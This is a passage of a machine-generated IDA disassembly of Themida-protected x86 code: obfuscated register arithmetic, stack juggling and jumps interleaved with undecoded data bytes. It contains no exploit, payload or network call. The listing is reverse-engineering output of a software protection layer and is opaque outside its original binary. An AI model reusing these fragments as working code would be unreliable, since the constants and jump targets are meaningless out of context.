mov [esp], eax push esp pop eax add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_56278E ; --------------------------------------------------------------------------- loc_5610D7: ; CODE XREF: Themida_:00564C1Cj pop eax add esp, 4 push ecx mov ecx, 6621231Bh sub eax, 29F2142Ch jmp loc_565A00 ; --------------------------------------------------------------------------- db 5Dh dd 0D2358905h, 65B7E915h, 0EB800000h, 28B404EDh, 0E9B42CD8h dd 412Dh ; --------------------------------------------------------------------------- loc_561104: ; CODE XREF: Themida_:00553C11j mov ebx, 0D4FD0A48h add ebx, esi pop esi jmp loc_5659E0 ; --------------------------------------------------------------------------- loc_561111: ; CODE XREF: Themida_:005588DAj add esi, 38303F60h add esi, edx sub esi, 38303F60h sub esp, 4 mov [esp], ebx mov ebx, 439B1F56h not ebx jmp loc_55F5CF ; --------------------------------------------------------------------------- dd 4EC81h, 3C890000h, 5AD6E924h, 0FB010000h, 6C6AEB81h dd 0E95F246Ah, 0FFFF4CEEh, 8159CD09h, 0D25660C5h, 1A7DE946h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56115E: ; CODE XREF: Themida_:0056792Bj pop esp push ebx mov ebx, esp jmp loc_5636CE ; --------------------------------------------------------------------------- db 68h dd 35ADh, 0E9241C89h, 647Bh, 0B8665066h, 9663ED2h, 665866C7h dd 7925C781h, 5FFB2966h, 0FF2B6BE9h, 5F7868FFh, 4890000h dd 75E95424h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56119B: ; CODE XREF: Themida_:00563253j push ebp mov ebp, 73014E65h push ebx push ecx mov ecx, 47163904h push esi mov esi, 53464A06h neg esi jmp loc_55B9D2 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 66D9E924h, 0E500FFFFh, 59E83058h, 6EEA68h, 241C8900h dd 0E3895351h, 4C381h, 0EB810000h, 4, 5C241C87h, 5E50E9h dd 14F75200h, 24148B24h, 4C481h, 0DAF70000h, 0DD76EA81h dd 0F28152BCh, 727717E5h, 4A06EAC1h, 6E6BBD55h, 0E5C151FAh dd 4E5C107h, 0F581DDF7h, 56DED84Dh, 0FFC69EE9h, 685552FFh dd 66833814h, 0E9242C8Bh, 0FFFF949Eh, 33DAEE81h, 0DE011203h dd 33DAC681h, 875B1203h, 248B2434h, 0F0F38124h, 0E96E2D54h dd 0FFFF132Dh, 0FAE9C9FEh db 35h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561253: ; CODE XREF: Themida_:005620D6j mov edx, 7E2B3B10h add edx, 2E124019h xor edx, 258E2AF6h add edx, 0AF9A0DBFh jmp loc_5582C3 ; --------------------------------------------------------------------------- loc_56126F: ; CODE XREF: Themida_:00559590j shr eax, 0Ah xor eax, ecx push 7D1Ah mov [esp], eax push 0B39h mov [esp], ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_561E1B ; --------------------------------------------------------------------------- loc_5612A0: ; CODE XREF: Themida_:0055E1E1j mov ecx, [esp] add esp, 4 push 7F97h mov [esp], ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 267500Dh sub ecx, 2675009h add ebp, 247E38C6h sub ebp, ecx push edx mov edx, 247E38C6h sub ebp, edx jmp loc_561C76 ; --------------------------------------------------------------------------- loc_5612D7: ; CODE XREF: Themida_:0055B5ACj mov ecx, 4 add edx, ecx pop ecx xchg edx, [esp] pop esp push 7264h mov [esp], ebp jmp loc_563205 ; --------------------------------------------------------------------------- loc_5612F0: ; CODE XREF: Themida_:00553FDDj push ecx mov ecx, 4 jmp loc_559906 ; --------------------------------------------------------------------------- aRh_ db 'Rh.',0Dh,0 dd 243C8900h, 0BD6A7C68h, 0EFC15F54h, 75BA5203h, 160DB76h dd 0FA895AD7h, 19CA815Fh, 0E96D7F6Dh, 0FFFF2463h ; --------------------------------------------------------------------------- loc_561324: ; CODE XREF: Themida_:00563B2Bj add dl, 0F7h jmp loc_566B48 ; --------------------------------------------------------------------------- dd 0FF1248E9h, 2474FFFFh, 51EE904h, 0BA520000h, 0D6998CBAh dd 315AD601h, 24348BF0h, 4C481h, 0C5210000h, 5649E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561356: ; CODE XREF: Themida_:0055C0F0j or edi, 692D25D9h add edi, 0FDA11A17h or ebx, edi mov edi, [esp] add esp, 4 push ecx mov ecx, 5D53AA8h and ebx, ecx pop ecx push esi push edx mov edx, 46180A66h push ecx mov ecx, 3E080844h add ecx, 0FFFFFFFFh and ecx, 317730ABh and ecx, 436049C6h xor ecx, 33981EF2h jmp loc_565C8E ; --------------------------------------------------------------------------- db 5Dh, 81h, 0EFh dd 4B066C00h, 53E6C781h, 0B95130C6h, 3B0E1596h, 6C07B850h dd 0D8F7652Ah, 0DD0F740h, 50D65F11h, 0A57BAB35h, 58C1312Eh dd 0C181D9F7h, 0B7C5A6D0h, 2959CF01h, 243C8BF8h, 8304C483h dd 148904ECh, 0C0DBA24h, 0D0010032h, 4657685Ah, 34890000h dd 8DBB5324h, 6839E057h, 51AEB1F1h, 0FF5259E9h, 1173E9FFh dd 0C283FFFFh, 24148704h, 0FF1F0FE9h db 0FFh ; --------------------------------------------------------------------------- loc_561411: ; CODE XREF: Themida_:0055572Bj add bl, al jmp loc_564F2A ; --------------------------------------------------------------------------- loc_561418: ; CODE XREF: Themida_:0055A9CAj sub edx, edi pop edi mov ecx, [esp] add esp, 4 and ecx, edx push dword ptr [esp] pop edx jmp loc_55A474 ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 2C28100h, 0E9000000h, 0FFFFB72Bh ; --------------------------------------------------------------------------- loc_561440: ; CODE XREF: Themida_:00554848j mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] shr eax, 12h xor eax, ecx push 9Eh mov [esp], eax push ebp jmp loc_55BA8A ; --------------------------------------------------------------------------- loc_561467: ; CODE XREF: Themida_:00565CB3j push 126Ch mov [esp], ecx push esp pop ecx jmp loc_555B9E ; --------------------------------------------------------------------------- dw 2C89h dd 41E9E924h, 295DFFFFh, 3658E9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561486: ; CODE XREF: Themida_:00558A27j inc ebp or ebp, 35676357h or ebp, 93B15EEh jmp loc_558585 ; --------------------------------------------------------------------------- loc_561498: ; CODE XREF: Themida_:00552992j push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov eax, [esp] add esp, 4 mov ecx, [esp] add esp, 4 push esi sub esp, 4 jmp loc_557C7E ; --------------------------------------------------------------------------- dd 24048B66h, 1D7A68h, 24348900h, 5404EC83h, 5224048Fh dd 468h, 44815A00h, 7C40424h, 6C8179CDh, 18A40424h, 6C8163FEh dd 43710424h, 54017892h, 44810424h, 43710424h, 0BF577892h dd 63FE18A4h, 8247C01h, 0FF5EDBE9h db 0FFh ; --------------------------------------------------------------------------- loc_561511: ; CODE XREF: Themida_:00558482j mov eax, esp jmp loc_55C334 ; --------------------------------------------------------------------------- loc_561518: ; CODE XREF: Themida_:00564FB6j push ebp mov ebp, 3C916EAAh sub ebp, 285D02D4h jmp loc_556C71 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 4815D6B8h, 2E0C108h, 0B41FE0Dh, 40D8F72Ah, 504E0C1h dd 0B85D38DCh, 0E958C729h, 0FFFF438Bh ; --------------------------------------------------------------------------- loc_56154C: ; CODE XREF: Themida_:0055374Dj add edx, 0D8DF27A9h jmp loc_561DC8 ; --------------------------------------------------------------------------- db 81h dd 69F391C5h, 5DE9891Bh, 4244C01h, 243C8B59h, 6804C483h dd 7040h, 89241489h, 4C281E2h, 56000000h, 4BEh, 670EE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561586: ; CODE XREF: Themida_:00553BEAj pop esi add edi, ebp sub edi, 34835F8Eh mov ebp, [esp] add esp, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], eax jmp loc_552579 ; --------------------------------------------------------------------------- loc_5615AC: ; CODE XREF: Themida_:00558F80j add edi, 11D00892h mov esi, [esp] jmp loc_564F54 ; --------------------------------------------------------------------------- dw 248Bh dd 24048924h, 0FF530FE9h, 0B42435FFh, 9AE987AAh, 89FFFF6Dh dd 4C281E2h, 50000000h, 4B8h, 58C22900h, 0FF39D4E9h, 9C5066FFh dd 0FF0F8CE9h, 348157FFh, 7B6FDC24h, 40E95B7Bh db 51h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5615FB: ; CODE XREF: Themida_:0055B00Aj push dword ptr [esp] pop ebx push 71BAh mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xor edx, edx sub esp, 4 jmp loc_553BCA ; --------------------------------------------------------------------------- dd 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFF0F49h, 24148B5Bh dd 45DCE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56163A: ; CODE XREF: Themida_:00557530j sub esi, 0C41F0462h push esi pop edi jmp loc_5554F1 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812404h, 4, 4631E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_561656: ; CODE XREF: Themida_:00566613j push esi push ecx jmp loc_5677E5 ; --------------------------------------------------------------------------- loc_56165D: ; CODE XREF: Themida_:0055697Dj xor ebx, 136478F7h xor edi, ebx jmp loc_55B464 ; --------------------------------------------------------------------------- dw 0E688h dd 0CFDE958h, 0E4800000h, 48C7E95Ch, 158FFFFh, 8E685AD0h dd 89000063h, 0C9E92404h db 31h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56168B: ; CODE XREF: Themida_:00561B58j push esi jmp loc_55742F ; --------------------------------------------------------------------------- db 5, 80h, 0EDh dd 75E947A8h, 0BAFFFF90h, 1B8E618Bh, 0E7A3D5BDh, 5AD50136h dd 5E58145h, 0C10FC47Bh, 0F58104EDh, 673D513Ah, 0E902E5C1h dd 0FFFFD8CAh, 4BF57h, 0F8010000h, 0CDA8E95Fh, 0C781FFFFh dd 11007994h, 4B2EE781h, 0E7C17263h, 0BFF78106h, 0F71C2B1Dh dd 43AFE9DFh, 0C281FFFFh, 4, 4C281h, 2EE90000h, 81000043h dd 4C4h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add esi, 4 push 50D9h jmp loc_55F33C ; --------------------------------------------------------------------------- dd 4C481h, 0C4810000h, 4, 2435BD55h, 0DDF7574Fh, 0FFEF0DE9h dd 24048FFFh, 0E9C3305Ch, 157Ch ; --------------------------------------------------------------------------- loc_561748: ; CODE XREF: Themida_:00553A77j xchg edi, esi xor esi, 49A00E96h mov ecx, esi pop esi push esi mov esi, 39305050h xor esi, 49D94128h xor esi, 0FFA2F6Dh jmp loc_55E68F ; --------------------------------------------------------------------------- dw 8159h dd 4C1h, 4E3B6800h, 34890000h, 4BE24h, 0F1290000h, 5724348Bh dd 0BE56E789h, 4, 0CE9F701h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561793: ; CODE XREF: Themida_:005525EDj push ebp mov ebp, 778411AAh mov eax, ebp pop ebp and eax, 48B94984h jmp loc_558560 ; --------------------------------------------------------------------------- dd offset dword_43DEFC+106Ch dw 8900h dd 0E789243Ch, 4C781h, 0E9530000h, 0FFFFD4D0h ; --------------------------------------------------------------------------- loc_5617BC: ; CODE XREF: Themida_:0055F166j mov dl, 26h xor dl, 0A9h jmp loc_556A3B ; --------------------------------------------------------------------------- loc_5617C6: ; CODE XREF: Themida_:00560D65j pop esp mov [esp], edi push ecx jmp loc_55BC85 ; --------------------------------------------------------------------------- dd 0EBD0C3FEh, 0F380C3FEh, 5BDE282Fh, 111868h, 7056E900h dd 0BE56FFFFh, 23BD7CB8h, 0E908EEC1h, 0FFFFE68Fh, 0C17C302Dh dd 0BB5053Eh, 0E60505A0h, 14C063Dh, 3DE62DE8h, 0BF574C06h dd 5A00BB5h, 1288E9h db 0 ; --------------------------------------------------------------------------- loc_561815: ; CODE XREF: Themida_:0055C933j mov esi, esp jmp loc_55C1B3 ; --------------------------------------------------------------------------- dd 0FF0D58E9h, 101BBBFFh, 0EBC12230h, 0DBBD5507h, 314E757Dh dd 242C8BEBh, 8104C483h, 70F5CF3h, 0D055E959h, 0BA52FFFFh dd 7D976ADAh, 19EEEA81h, 0A3054C9Bh, 0E9750754h, 0FFFF63FDh dd 24048F5Fh, 0F624248Bh, 0B60F66F9h, 7E6866CCh, 0C896646h dd 0B60F6624h, 9C5166C8h, 0FF0D00E9h, 62E952FFh, 0BDFFFF35h dd 3FE56892h, 0FF7DBBE9h db 0FFh ; --------------------------------------------------------------------------- loc_561889: ; CODE XREF: Themida_:0055CA82j mov ebx, 1F764F21h add ebx, 3B826D50h jmp loc_556A93 ; --------------------------------------------------------------------------- loc_561899: ; CODE XREF: Themida_:00560EAFj push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 jmp loc_556EDD ; --------------------------------------------------------------------------- dd 0C528B1B0h, 93D9E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5618B6: ; CODE XREF: Themida_:0055C016j add eax, ebx sub eax, 1BE33193h mov ebx, [esp] add esp, 4 push ebp push 1C680EE3h pop ebp xor ebp, 49A05A58h push esi mov esi, 4B641808h xchg eax, esi push eax xchg eax, [esp] not eax xchg eax, [esp] pop eax push esi sub esp, 4 mov [esp], eax pop esi mov eax, [esp] add esp, 4 sub esi, 5029BFDBh jmp loc_554E1C ; --------------------------------------------------------------------------- dd 75C3E981h, 0F181151Ch, 6DFB8980h, 0FF194CE9h, 7EBC1FFh dd 6D89C381h, 0D92921ECh, 3663E9h, 78BE5600h, 811E253Bh dd 0A33082EEh, 0BDC6814Eh, 0E9C89B8Bh, 5DEh, 4C44B850h dd 0EA81749Bh, 58BA231Fh, 0FA8E9h db 0 ; --------------------------------------------------------------------------- loc_561949: ; CODE XREF: Themida_:00553B59j and al, 71h xor al, 5Dh sub al, 0A9h sub ch, 0B4h jmp loc_555526 ; --------------------------------------------------------------------------- db 0C1h dd 5AE905EDh, 8900002Ah, 0E389241Ch, 0FF7E72E9h db 0FFh ; --------------------------------------------------------------------------- loc_561969: ; CODE XREF: Themida_:0055A169j mov ebp, 1A07C43h xor [esp+4], ebp mov ebp, [esp] add esp, 4 push dword ptr [esp] pop esi add esp, 4 xor esi, 1A07C43h push dword ptr [esp] pop edi jmp loc_5562C2 ; --------------------------------------------------------------------------- db 30h, 0D0h, 66h dd 5624148Bh, 0BA525E54h, 58A643B0h, 0EA81DAF7h, 0A759BC4Ch dd 0E95AD601h, 0FFFFD767h, 42E4BA52h, 0E281047Ch, 607837D7h dd 0D2F7D2F7h, 9FEA8142h, 817D7918h, 25476CEAh, 0DEBE5658h dd 0E94C52B6h, 0FFFF1E7Bh, 3D1A68h, 241C8900h, 2EEA6851h dd 815952DDh, 8D3334C1h, 5AE9810Fh, 89FEEAFAh, 0F38159CBh dd 41A847E9h, 61EDE381h, 0E8E96B1Ch, 0BDFFFF7Eh, 325935D8h dd 6D85B850h, 0C50937F1h, 0FF2CB8E9h, 0C8295AFFh, 0FF29D205h dd 240C8B0Dh, 0E904C483h, 0FFFFF8CFh ; --------------------------------------------------------------------------- loc_561A2C: ; CODE XREF: Themida_:00556BD3j xchg ecx, edx or edx, 12964FB0h xor edx, 0DBB1847Ch shl edx, 8 add edx, 0D1947D04h add ebp, edx pop edx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp sub eax, 0FFFFFFFFh jmp loc_562E28 ; --------------------------------------------------------------------------- dd 4D76BA52h, 0EA815F1Ch, 43BB4BCEh, 62BCC281h, 0DAF72A14h dd 14CEE281h, 0F2872969h, 0D7F7FE87h, 0F287FE87h, 9BBF5756h dd 89C77A8Dh, 0D334E9FEh, 48BFFFFh, 4C48124h, 81000000h dd 4C4h, 0EEB95100h, 0F702CF01h, 95F181D9h, 0F7672133h dd 50D9F7D9h, 11CD85B8h, 58C1319Ah, 5659CE01h, 42474FFh dd 24048F5Eh, 2B9AE9h, 0F7895700h, 4FE9F889h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_561ACF: ; CODE XREF: Themida_:005642B1j xor ecx, eax pop eax add edi, ecx pop ecx sub edi, 4 jmp loc_5525AB ; --------------------------------------------------------------------------- db 81h, 0EDh, 0EFh dd 136C23Ah, 0EFC581C5h, 0E936C23Ah, 4E2Fh, 0E2C010B2h dd 2EC8307h, 0FF8356E9h, 0B75350FFh, 0C037E9A2h, 0EC83FFFFh dd 148BE904h, 0F1800000h, 0E9CB28E0h, 104Ah, 56213EBEh dd 3161E96Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561B22: ; CODE XREF: Themida_:0056025Aj mov [esp], ebx push eax mov eax, 4B5140CFh xor [esp+4], eax jmp loc_55DB80 ; --------------------------------------------------------------------------- dd 24048B66h, 1C7468h, 243C8900h, 242C68h, 0BCE3E900h dd 2AE9FFFFh db 0Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561B4F: ; CODE XREF: Themida_:0056359Ej xor ebp, 4DF67F55h shr ebp, 4 jmp loc_56168B ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 33000000h, 1C31241Ch, 0C81CE924h, 0C483FFFFh, 8BF80104h dd 0EC83243Ch, 24148904h, 0BB53E289h, 4, 0F8E9DA01h, 1FFFFE0h dd 8CC281FAh, 0E90A2D2Bh, 0FFFFA6DFh, 0C181D1F7h, 7AAF1289h dd 5061E956h, 4A2D0000h, 2D2C4B32h, 57FF3B96h, 3398E9h dd 41685800h, 89000046h, 11BD242Ch, 0E93FC752h, 0FFFFD192h ; --------------------------------------------------------------------------- loc_561BC8: ; CODE XREF: Themida_:00563EF9j not ecx jmp loc_564AA1 ; --------------------------------------------------------------------------- db 66h dd 0E94A2E68h, 0FFFFDDC4h ; --------------------------------------------------------------------------- loc_561BD8: ; CODE XREF: Themida_:00566D0Cj sub esi, ecx pop ecx xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_5527FE ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 87000000h, 555C2434h, 0F9BE9h, 24048B00h, 0E9h, 4C48300h dd 97DFF797h, 0B217A92Dh, 2829E981h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561C12: ; CODE XREF: Themida_:00562C57j sub esi, ebx sub esi, 57BC26FBh add esi, 4A0B5734h pop ebx sub ecx, 316D169Eh add ecx, esi push esi mov esi, 739E713Dh neg esi shl esi, 7 shr esi, 2 xor esi, 3D5CCEFEh add ecx, esi pop esi mov esi, [esp] add esp, 4 mov edi, ecx jmp loc_565582 ; --------------------------------------------------------------------------- loc_561C4D: ; CODE XREF: Themida_:005668E7j dec edx dec edx sub edx, 36430C90h add ebx, edx pop edx sub ebx, 9A507F08h add edx, ebx pop ebx sub edx, 4 jmp loc_565606 ; --------------------------------------------------------------------------- db 0F7h, 0DEh, 81h dd 3039B0EEh, 1E89E922h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561C76: ; CODE XREF: Themida_:005612D2j pop edx pop ecx xchg ebp, [esp] pop esp mov [esp], eax mov eax, esp jmp loc_55B2E5 ; --------------------------------------------------------------------------- loc_561C86: ; CODE XREF: Themida_:00567BAAj mov [esp], dx jmp loc_55F163 ; --------------------------------------------------------------------------- db 5Ah dd 5304C483h, 0FFC54DE9h, 0E9D3F7FFh, 0FFFF9A52h, 0E930FF5Dh dd 0FFFF08D1h, 0E904C583h, 0FFFF0CFAh ; --------------------------------------------------------------------------- loc_561CB0: ; CODE XREF: Themida_:0056435Ej xor ebp, [esp] pop esp jmp loc_56082D ; --------------------------------------------------------------------------- db 0BDh, 6Bh, 63h dd 0E9014949h, 42272D5Dh, 0C829124Fh, 4F422705h, 0C8015912h dd 0C81C0305h, 240C8B3Bh, 5E08950h, 4, 405h, 24048700h dd 2055Ch, 0FF500000h, 58042474h, 8B24048Fh, 0F9E92424h dd 57FFFFAFh, 330DF3BFh, 3E7C106h, 240CFF57h, 81243C8Bh dd 4C4h, 7CBE5600h, 686A494Ah, 1B98h, 0BF243C89h, 0AE8677Ah dd 0C781DFF7h, 552974AEh, 815FFE31h, 0D32DEBC6h, 81EED16Ch dd 0D1ADF0F6h, 8BF70933h, 0C4832434h, 0D323E904h, 5066FFFFh dd 823E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561D56: ; CODE XREF: Themida_:0055D6C1j sub edx, 7496252Bh sub edx, 549D3264h sub edx, 23769E6Ah push ecx mov ecx, edx mov esi, ecx jmp loc_5544F6 ; --------------------------------------------------------------------------- dw 483h dd 0E95F0424h, 0FFFFCD70h ; --------------------------------------------------------------------------- loc_561D7C: ; CODE XREF: Themida_:005557BCj push 5D9Ch mov [esp], ebp mov ebp, 4E577EE6h push 0 add dword ptr [esp], 3F927130h sub [esp], ebp jmp loc_555A8E ; --------------------------------------------------------------------------- loc_561D9D: ; CODE XREF: Themida_:0055BC26j sub edx, ebp jmp loc_5672C1 ; --------------------------------------------------------------------------- dd 582434FFh, 52E18951h, 1AFCE9h db 0 ; --------------------------------------------------------------------------- loc_561DB1: ; CODE XREF: Themida_:0055E385j shr ebp, 4 neg ebp not ebp shl ebp, 7 sub ebp, 2D1CE2AEh add edx, ebp jmp loc_564D11 ; --------------------------------------------------------------------------- loc_561DC8: ; CODE XREF: Themida_:00561552j push edx pop ebp jmp loc_566B03 ; --------------------------------------------------------------------------- loc_561DCF: ; CODE XREF: Themida_:00560B64j mov [esp], ebp push 644h mov [esp], eax mov eax, 407F74EBh xor eax, 79F72983h shl eax, 3 inc eax sub eax, 369247ECh dec eax jmp loc_55866C ; --------------------------------------------------------------------------- loc_561DF3: ; CODE XREF: Themida_:0055F17Dj xchg ebp, [esp] pop esp div ecx push 700Bh mov [esp], esi jmp loc_5664A1 ; --------------------------------------------------------------------------- dw 0E2C1h dd 31DA3104h, 56DA31D3h, 0FFB4BDE9h, 12E951FFh db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_561E1B: ; CODE XREF: Themida_:0056129Bj xchg edx, [esp] pop esp pop dword ptr [esp] xchg ebx, ecx not ebx xchg ebx, ecx xor [esp], ecx xor ecx, [esp] jmp loc_563E21 ; --------------------------------------------------------------------------- aFhk7 db 'FhK7',0 dd 24048900h, 0FFCEB9E9h, 20E280FFh, 0E904EC83h, 0FFFFE303h dd 5EC8B850h, 302D633Dh, 890A25E2h, 0CEE958C3h, 50FFFFCBh dd 2F04E9h, 46800h, 815E0000h, 0C67626C3h, 81F30105h, 0C67626EBh dd 24348B05h, 6135E952h, 8B66FFFFh, 55E9240Ch db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_561E8B: ; CODE XREF: Themida_:00558D4Dj sub dword ptr [esp+4], 599923ECh push edi jmp loc_565B4A ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 87000000h, 555C243Ch, 42474FFh, 0FF28A1E9h, 0FC009FFh dd 0FF707D84h, 0E38953FFh, 4C381h, 0EB810000h, 4, 8B241C87h dd 1C892424h, 65CFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561ED2: ; CODE XREF: Themida_:0056268Cj mov eax, 7FD477EEh xor ebx, eax pop eax push ecx mov ecx, ebx mov esi, ecx jmp loc_557171 ; --------------------------------------------------------------------------- dd 4C581h, 0ED810000h, 4, 0FFC1F4E9h db 0FFh ; --------------------------------------------------------------------------- loc_561EF5: ; CODE XREF: Themida_:005670CBj pop edi sub esp, 4 jmp loc_557551 ; --------------------------------------------------------------------------- loc_561EFE: ; CODE XREF: Themida_:0055E423j xchg eax, [esp] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_55A3BA ; --------------------------------------------------------------------------- dw 0F031h dd 58C2295Eh, 5C241487h, 0B5240C89h, 4EC8372h, 5C19E9h dd 0C1835E00h, 240C8704h, 0FF24248Bh, 63BE930h, 0E929FFFFh dd 0F6C6815Dh, 13ACD13h, 0B668CEh, 0E7E90000h, 89FFFF0Fh dd 0B9512414h, 303504A9h, 0AE06E950h, 4B9FFFFh, 89000000h dd 2EE959CBh, 68FFFFDDh, 25E4h, 89242C89h, 4C581E5h, 81000000h dd 4ECh, 241C8900h, 0BB7E9h, 0B4BB3500h, 0C18980EFh, 4E1C158h dd 0FFD4E6E9h, 2B6858FFh, 89000037h, 5F54243Ch, 0FF3FF3E9h dd 0E9565AFFh, 0FFFF720Fh, 0E581D5F7h, 65F05F9Dh, 0FFAE2CE9h db 0FFh ; --------------------------------------------------------------------------- loc_561FC1: ; CODE XREF: Themida_:0055335Fj push 3784h mov [esp], edi push 7118h mov [esp], edx mov edx, 3A137BAh mov edi, edx jmp loc_565AB5 ; --------------------------------------------------------------------------- db 57h, 0BFh, 0FFh dd 29FFFFFFh, 0E9815FF9h, 378F69C1h, 0E1BE981h, 7EE90066h dd 8BFFFF3Fh, 0C481242Ch, 4, 0FFBB85E9h, 0E9C229FFh, 0FFFF2ABDh ; --------------------------------------------------------------------------- loc_56200C: ; CODE XREF: Themida_:00563BBEj sub edx, esi pop esi add edx, 52C978A3h add edx, 0BA72F809h mov edi, edx mov edx, [esp] add esp, 4 shl edi, 5 sub edi, 1D8D187Dh or edi, 47094D44h add edi, 0C660313Fh mov ecx, edi jmp loc_56004E ; --------------------------------------------------------------------------- loc_562042: ; CODE XREF: Themida_:005567D7j push 5127h mov [esp], esi jmp loc_5545B4 ; --------------------------------------------------------------------------- db 89h dd 0C5E92404h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562057: ; CODE XREF: Themida_:00564176j sub bl, cl mov ecx, [esp] jmp loc_55AA5F ; --------------------------------------------------------------------------- db 81h, 0C6h, 2Dh dd 2903AA3Bh, 4EC83DEh, 0E9241C89h, 0FFFF5E04h, 7DD6BB53h dd 50B84FA2h, 3125954Fh, 825E9D8h, 3C310000h, 243C3324h dd 2404895Ch, 62E9E089h, 81FFFF26h, 0AF0C48CEh, 0F4C6811Fh dd 0E9CF8FABh, 12DBh ; --------------------------------------------------------------------------- loc_5620A8: ; CODE XREF: Themida_:0055F764j mov edx, 1D0F19D8h shr edx, 5 and edx, 364D2BC7h neg edx push ebp mov ebp, 6ED02AEBh add ebp, 0B40AEBFBh jmp loc_55584E ; --------------------------------------------------------------------------- loc_5620C9: ; CODE XREF: Themida_:00564EF2j sub [esp+4], ecx sub dword ptr [esp+4], 6958583Bh push edx jmp loc_561253 ; --------------------------------------------------------------------------- db 0F7h aSxd db 'ιεD',0 align 2 loc_5620E2: ; CODE XREF: Themida_:0055AE22j add ecx, 4 jmp loc_5563F0 ; --------------------------------------------------------------------------- loc_5620EA: ; CODE XREF: Themida_:00555A74j add ecx, edi pop edi jmp loc_567312 ; --------------------------------------------------------------------------- loc_5620F2: ; CODE XREF: Themida_:0055F112j push 4A627EA8h jmp loc_55E770 ; --------------------------------------------------------------------------- dd 0BD242C89h, 4, 7623B951h, 4C01413Dh, 1590824h, 8104246Ch dd 2304246Ch, 5D413D76h, 5F2434FFh, 180E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562126: ; CODE XREF: Themida_:00559AB2j sub al, cl pop ecx jmp loc_559AF0 ; --------------------------------------------------------------------------- loc_56212E: ; CODE XREF: Themida_:0056021Aj push ecx mov ecx, esp jmp loc_56566F ; --------------------------------------------------------------------------- loc_562136: ; CODE XREF: Themida_:005571C3j sub edi, 32FD2005h add ebx, edi jmp loc_564B6C ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 0E6E9241Ch, 66FFFF7Ch, 0E924048Bh, 0FFFF1478h dd 0FF041CE9h db 0FFh ; --------------------------------------------------------------------------- loc_56215D: ; CODE XREF: Themida_:0056527Ej push ebx jmp loc_5541C3 ; --------------------------------------------------------------------------- db 89h dd 8E9241Ch, 8100000Ch, 4C4h, 0BF575100h, 5980C9Fh, 1B93EF81h dd 0F9895B38h, 8BCE015Fh, 0C481240Ch, 4, 1E91C181h, 5BE94A89h dd 81FFFFBBh, 521F32EBh, 1322D78h, 0D8294450h, 132B951h dd 0C8014450h, 0BF575B59h, 34167ADDh, 15FEF81h, 52F06h dd 29664C5Ch, 5C002DF8h, 0E95F664Ch, 0FFFFA701h ; --------------------------------------------------------------------------- loc_5621CC: ; CODE XREF: Themida_:005592B5j sub ebp, 34AA42BAh xor ebp, 33D6459Dh xor ecx, ebp jmp loc_555F98 ; --------------------------------------------------------------------------- loc_5621DF: ; CODE XREF: Themida_:00559CF2j xor [edx], ebx pop edx add ebx, 1 xchg ebx, [edi+24h] loc_5621E8: ; CODE XREF: Themida_:0056024Fj push 5179h mov [esp], ebx jmp loc_553FBC ; --------------------------------------------------------------------------- loc_5621F5: ; CODE XREF: Themida_:005546F4j mov [esp], edx jmp loc_5661B7 ; --------------------------------------------------------------------------- db 58h, 0FFh, 34h dd 0C4835824h, 43CC6804h, 14890000h, 0CE6FE924h, 0C281FFFFh dd 0FFFFFFFFh, 2822E9h, 0E9516600h, 0FFFF6733h, 0FFFFE981h dd 0E981FFFFh, 35797EB9h, 0FFEF1BE9h db 0FFh ; --------------------------------------------------------------------------- loc_562235: ; CODE XREF: Themida_:005653A7j mov ebp, 75FC9F93h sub ebp, ecx pop ecx push 10E4h mov [esp], ebp inc dword ptr [esp] pop ebp push edx mov edx, 1093C75h and ebp, edx jmp loc_55C9DF ; --------------------------------------------------------------------------- dw 8346h dd 1C8904ECh, 4F26BB24h, 0B9513EE3h, 3D662348h, 0B3E9CE29h dd 53FFFF52h, 4BBh, 5BDF0100h, 693368h, 86BFE900h, 